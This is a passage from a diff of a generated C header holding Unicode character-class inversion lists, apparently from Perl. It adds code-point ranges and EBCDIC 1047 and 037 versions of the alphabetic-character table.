+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -24226,6 +128152,22 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -24257,13 +128199,15 @@
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -24430,11 +128374,2735 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E
 };
 
-static const UV XPosixBlank_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXALPHA_invlist[] = { /* for EBCDIC 1047 */
+	1347,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x345,
+	0x346,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5B0,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x658,
+	0x659,
+	0x660,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6E1,
+	0x6E9,
+	0x6ED,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x740,
+	0x74D,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x818,
+	0x81A,
+	0x82D,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E0,
+	0x8E3,
+	0x8EA,
+	0x8F0,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x964,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAF9,
+	0xAFD,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4D,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCD,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xECD,
+	0xECE,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF82,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0x1000,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x1040,
+	0x1050,
+	0x1063,
+	0x1065,
+	0x1069,
+	0x106E,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x109C,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1714,
+	0x1720,
+	0x1734,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17C9,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x1939,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A61,
+	0x1A75,
+	0x1AA7,
+	0x1AA8,
+	0x1B00,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B4C,
+	0x1B80,
+	0x1BAA,
+	0x1BAC,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BE7,
+	0x1BF2,
+	0x1C00,
+	0x1C36,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1DE7,
+	0x1DF5,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA674,
+	0xA67C,
+	0xA67F,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C4,
+	0xA8C5,
+	0xA8C6,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA92B,
+	0xA930,
+	0xA953,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11046,
+	0x11082,
+	0x110B9,
+	0x110D0,
+	0x110E9,
+	0x11100,
+	0x11133,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C0,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11235,
+	0x11237,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112E9,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134D,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114C2,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115BF,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x1163F,
+	0x11640,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116B6,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172B,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C3F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXALPHA_invlist[] = { /* for EBCDIC 037 */
+	1343,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x345,
+	0x346,
+	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
+	0x5B0,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x658,
+	0x659,
+	0x660,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6E1,
+	0x6E9,
+	0x6ED,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x740,
+	0x74D,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x7F4,
+	0x7F6,
+	0x7FA,
+	0x7FB,
+	0x800,
+	0x818,
+	0x81A,
+	0x82D,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E0,
+	0x8E3,
+	0x8EA,
+	0x8F0,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x964,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CD,
+	0x9CE,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4D,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA70,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
